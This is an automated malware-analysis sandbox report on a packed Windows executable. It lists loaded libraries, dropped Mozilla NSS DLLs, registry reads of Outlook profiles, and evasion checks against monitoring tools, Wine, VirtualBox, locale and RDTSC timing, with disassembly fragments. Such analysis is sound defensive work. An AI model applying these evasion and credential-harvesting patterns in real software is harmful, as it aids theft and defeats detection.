Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1829376 > 1048576

Source: file.exe

Static PE information: Raw size of xfniszhi is bigger than: 0x100000 < 0x198800

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2388576619.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2388576619.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.320000.0.unpack :EW;.rsrc :W;.idata :W; :EW;xfniszhi:EW;punnpugg:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;xfniszhi:EW;punnpugg:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00339860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00339860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cd111 should be: 0x1c01ff

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: xfniszhi
Source: file.exe	Static PE information: section name: punnpugg
Source: file.exe	Static PE information: section name: .taggant
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0033B035 push ecx; ret	0_2_0033B048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00782069 push 4565510Bh; mov dword ptr [esp], ebp	0_2_007823DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0075885D push edi; mov dword ptr [esp], ebp	0_2_0075886D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B00B2 push 3C8B9F55h; mov dword ptr [esp], esi	0_2_009B00E2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B00B2 push edx; mov dword ptr [esp], ecx	0_2_009B0126
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B00B2 push 42D77001h; mov dword ptr [esp], ebp	0_2_009B0136
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007C283C push 2824E70Dh; mov dword ptr [esp], ebx	0_2_007C2848
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007C283C push ebp; mov dword ptr [esp], ecx	0_2_007C299A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0078C83D push 7B7486A5h; mov dword ptr [esp], ebp	0_2_0078C87D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007F6039 push ebp; mov dword ptr [esp], 56FA210Dh	0_2_007F603E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007F6039 push ecx; mov dword ptr [esp], ebx	0_2_007F6867
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007D0833 push edx; mov dword ptr [esp], 37B1545Ch	0_2_007D0859
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007D0833 push edx; mov dword ptr [esp], 6778BBFAh	0_2_007D08BA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007D0833 push 7287BFFCh; mov dword ptr [esp], ecx	0_2_007D0900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EE839 push 53BFF500h; mov dword ptr [esp], eax	0_2_006EE8B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EE839 push 174B831Ah; mov dword ptr [esp], ebp	0_2_006EE902
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EE839 push edi; mov dword ptr [esp], ebx	0_2_006EE94D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EE839 push 15F93EB6h; mov dword ptr [esp], ecx	0_2_006EEA0D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EE839 push 0F748FBBh; mov dword ptr [esp], edi	0_2_006EEAA7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EE839 push ecx; mov dword ptr [esp], 7D3A7F00h	0_2_006EEB1A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EE839 push ebx; mov dword ptr [esp], 791CB8E2h	0_2_006EEBC7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EE839 push ebx; mov dword ptr [esp], ecx	0_2_006EEBF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EE839 push 5EBB397Ah; mov dword ptr [esp], ecx	0_2_006EEC47
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EE839 push ebp; mov dword ptr [esp], 3F7B2691h	0_2_006EEC6C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EE839 push 31665200h; mov dword ptr [esp], edi	0_2_006EEC79
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EE839 push esi; mov dword ptr [esp], edx	0_2_006EECB9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EE839 push 1A59B77Dh; mov dword ptr [esp], edx	0_2_006EEE3A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EE839 push 78BA80C3h; mov dword ptr [esp], ecx	0_2_006EEE42
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EE839 push ecx; mov dword ptr [esp], edx	0_2_006EEE62
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EE839 push edi; mov dword ptr [esp], 74E314B2h	0_2_006EEE84
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EE839 push eax; mov dword ptr [esp], esi	0_2_006EEEE1

Source: file.exe

Static PE information: section name: xfniszhi entropy: 7.953005680311224

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00339860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-58496

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581AB0 second address: 581ACD instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F36EC8543C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c pushad 0x0000000d jne 00007F36EC8543CCh 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FBBC4 second address: 6FBBCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FBBCA second address: 6FBBCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EFF03 second address: 6EFF09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EFF09 second address: 6EFF25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jne 00007F36EC8543C6h 0x0000000d pushad 0x0000000e popad 0x0000000f push edx 0x00000010 pop edx 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 je 00007F36EC8543C6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EFF25 second address: 6EFF29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EFF29 second address: 6EFF2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FAF04 second address: 6FAF08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FAF08 second address: 6FAF14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FAF14 second address: 6FAF18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB1CD second address: 6FB1D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB1D2 second address: 6FB1D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB1D8 second address: 6FB1DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB1DC second address: 6FB1F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007F36ED361E12h 0x0000000e jno 00007F36ED361E06h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB30F second address: 6FB315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF125 second address: 6FF134 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF134 second address: 6FF138 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF138 second address: 6FF13E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF200 second address: 6FF205 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF205 second address: 6FF239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F36ED361E0Ch 0x0000000f nop 0x00000010 pushad 0x00000011 mov edi, dword ptr [ebp+122D28E1h] 0x00000017 mov eax, ebx 0x00000019 popad 0x0000001a push 00000000h 0x0000001c mov edi, edx 0x0000001e push 673B5B0Ch 0x00000023 pushad 0x00000024 pushad 0x00000025 jl 00007F36ED361E06h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF239 second address: 6FF2BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F36EC8543D7h 0x0000000a popad 0x0000000b xor dword ptr [esp], 673B5B8Ch 0x00000012 mov dword ptr [ebp+122D2CEAh], ebx 0x00000018 push 00000003h 0x0000001a jc 00007F36EC8543CCh 0x00000020 sub edi, dword ptr [ebp+122D2EBAh] 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push esi 0x0000002b call 00007F36EC8543C8h 0x00000030 pop esi 0x00000031 mov dword ptr [esp+04h], esi 0x00000035 add dword ptr [esp+04h], 00000014h 0x0000003d inc esi 0x0000003e push esi 0x0000003f ret 0x00000040 pop esi 0x00000041 ret 0x00000042 jmp 00007F36EC8543D0h 0x00000047 push 00000003h 0x00000049 mov dword ptr [ebp+122D1A53h], eax 0x0000004f cmc 0x00000050 push 4AFA01CEh 0x00000055 push eax 0x00000056 push edx 0x00000057 jp 00007F36EC8543CCh 0x0000005d js 00007F36EC8543C6h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF36D second address: 6FF377 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F36ED361E06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF377 second address: 6FF42E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F36EC8543D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push esi 0x0000000d jmp 00007F36EC8543D7h 0x00000012 pop esi 0x00000013 nop 0x00000014 mov si, A250h 0x00000018 push 00000000h 0x0000001a push ecx 0x0000001b call 00007F36EC8543D6h 0x00000020 mov dword ptr [ebp+122D17F4h], edx 0x00000026 pop edx 0x00000027 pop esi 0x00000028 push 1E6A8A21h 0x0000002d jo 00007F36EC8543CCh 0x00000033 pushad 0x00000034 pushad 0x00000035 popad 0x00000036 pushad 0x00000037 popad 0x00000038 popad 0x00000039 xor dword ptr [esp], 1E6A8AA1h 0x00000040 mov esi, dword ptr [ebp+122D2C87h] 0x00000046 mov dword ptr [ebp+122D30C3h], eax 0x0000004c push 00000003h 0x0000004e mov dword ptr [ebp+122DB684h], edx 0x00000054 push 00000000h 0x00000056 xor dword ptr [ebp+122D1A4Eh], ebx 0x0000005c push 00000003h 0x0000005e mov dx, D3BAh 0x00000062 call 00007F36EC8543C9h 0x00000067 pushad 0x00000068 jne 00007F36EC8543C8h 0x0000006e push eax 0x0000006f push edx 0x00000070 jmp 00007F36EC8543CBh 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF42E second address: 6FF47B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 ja 00007F36ED361E1Dh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jnl 00007F36ED361E1Ch 0x00000018 mov eax, dword ptr [eax] 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF47B second address: 6FF48F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F36EC8543D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF48F second address: 6FF4C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F36ED361E0Bh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 pushad 0x00000012 pushad 0x00000013 jmp 00007F36ED361E11h 0x00000018 jg 00007F36ED361E06h 0x0000001e popad 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF4C3 second address: 6FF4EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 pop eax 0x00000007 xor ecx, 1CE080AEh 0x0000000d lea ebx, dword ptr [ebp+12450F21h] 0x00000013 clc 0x00000014 xchg eax, ebx 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F36EC8543D3h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF4EE second address: 6FF4F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E61B second address: 71E61F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71C689 second address: 71C6A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F36ED361E16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71C6A4 second address: 71C6BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F36EC8543CCh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71C6BC second address: 71C6D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F36ED361E06h 0x0000000a pop esi 0x0000000b push ebx 0x0000000c jnc 00007F36ED361E06h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71C6D0 second address: 71C6D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71C810 second address: 71C828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F36ED361E0Bh 0x0000000a js 00007F36ED361E12h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71CC5D second address: 71CC76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F36EC8543D5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71CC76 second address: 71CC84 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F36ED361E06h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71CF88 second address: 71CF8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71D23F second address: 71D245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7125D0 second address: 7125F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F36EC8543CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnl 00007F36EC8543C6h 0x00000010 jmp 00007F36EC8543CDh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7125F7 second address: 7125FC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7125FC second address: 712602 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E1AC second address: 71E1B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E1B2 second address: 71E1F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e ja 00007F36EC8543F6h 0x00000014 jmp 00007F36EC8543D9h 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F36EC8543CFh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722EB4 second address: 722EC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72ADBE second address: 72ADEC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F36EC8543D9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F36EC8543C8h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
